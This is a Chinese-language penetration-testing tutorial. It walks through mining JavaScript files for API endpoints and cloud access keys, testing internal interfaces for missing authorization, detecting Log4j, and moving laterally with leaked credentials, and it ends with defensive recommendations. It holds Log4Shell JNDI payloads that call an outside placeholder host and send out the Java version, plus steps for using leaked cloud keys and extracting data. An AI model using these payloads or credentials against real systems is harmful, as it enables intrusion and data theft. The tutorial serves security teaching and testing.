记一次抽丝剥茧式的渗透测试
字数 1273 2025-08-06 08:35:03
抽丝剥茧式渗透测试实战教学文档
一、JS文件信息泄露利用
1.1 JS文件分析的重要性
- JavaScript文件中经常包含敏感信息泄露风险
- 常见泄露内容包括:
- API接口地址
- 隐藏URL路径
- 子域名信息
- 云服务凭证(如OSS的AK/SK)
- 内部系统调用方式
1.2 分析方法
- 使用浏览器开发者工具(F12)查看加载的JS文件
- 使用工具如Burp Suite抓取所有JS资源
- 使用自动化工具扫描JS文件:
# 使用LinkFinder提取JS中的端点 python LinkFinder.py -i target.js -o results.html # 使用JSFinder python JSFinder.py -u http://example.com
1.3 敏感信息识别模式
- AWS/Aliyun OSS凭证:
accessKeyId: 'AKIAxxxxxxxxxxxx', accessKeySecret: 'xxxxxxxxxxxxxxxxxxxxxxxx' - API端点:
baseURL: 'https://api.internal.example.com/v1' - 调试接口:
debugMode: true, debugEndpoint: '/internal/debug'
二、未授权访问漏洞利用
2.1 常见未授权访问类型
- API接口未授权
- 管理后台无认证
- 文件/目录遍历
- Redis/MongoDB等数据库未授权
- 缓存系统未授权(如Memcached)
2.2 利用流程
- 从JS文件中提取疑似内部接口
- 直接访问测试:
curl -v http://example.com/internal/api/users - 尝试修改HTTP方法(GET/POST/PUT/DELETE)
- 测试参数注入
2.3 自动化工具
# 使用Nikto扫描
nikto -h http://example.com
# 使用Nuclei模板
nuclei -t vulnerabilities/misconfiguration/unauthorized.yaml -u http://example.com
三、Log4j漏洞发现思路(针对评论问题)
3.1 发现途径
-
检查Java应用特征:
- 响应头包含
X-Powered-By: Java - 报错页面显示Java堆栈信息
- URL包含
.jsp或/servlet/
- 响应头包含
-
识别依赖项:
- 检查
WEB-INF/lib/目录下的jar文件 - 查找
log4j-core-*.jar文件
- 检查
-
版本识别:
# 使用log4j-scan工具 python log4j-scan.py -u http://example.com
3.2 漏洞验证
- 简单测试:
${jndi:ldap://your-server.com/test} - 使用DNS回显验证:
${jndi:dns://${sys:java.version}.your-server.com/a}
四、信息关联与横向渗透
4.1 信息关联方法
- 将JS泄露的子域名加入扫描范围
- 使用泄露的AK/SK尝试云服务API调用
- 将内部接口与已知漏洞框架匹配
4.2 横向移动技巧
- 使用泄露凭证尝试:
# Aliyun OSS工具 ossutil config -i AKID -k AKSK -e oss-endpoint - 访问内部管理界面
- 利用内部API进行数据提取
五、防御建议
5.1 开发安全
- 前端代码混淆处理
- 使用环境变量存储敏感配置
- 禁用调试模式和测试接口
5.2 服务安全
- 所有接口实施严格认证
- 最小权限原则配置云服务凭证
- 定期扫描和清理泄露的敏感信息
5.3 监控措施
- 实施异常API访问监控
- 设置AK/SK使用告警
- 日志集中分析和审计
六、工具清单
| 工具名称 | 用途 | 下载地址 |
|---|---|---|
| LinkFinder | JS文件端点提取 | https://github.com/GerbenJavado/LinkFinder |
| JSFinder | JS文件信息收集 | https://github.com/Threezh1/JSFinder |
| log4j-scan | Log4j漏洞扫描 | https://github.com/fullhunt/log4j-scan |
| OSSBrowser | OSS管理工具 | https://help.aliyun.com/document_detail/61872.html |
本教学文档基于实战经验整理,关键点在于细致的信息收集和关联分析能力,通过看似无害的JS文件可以打开整个渗透测试的突破口。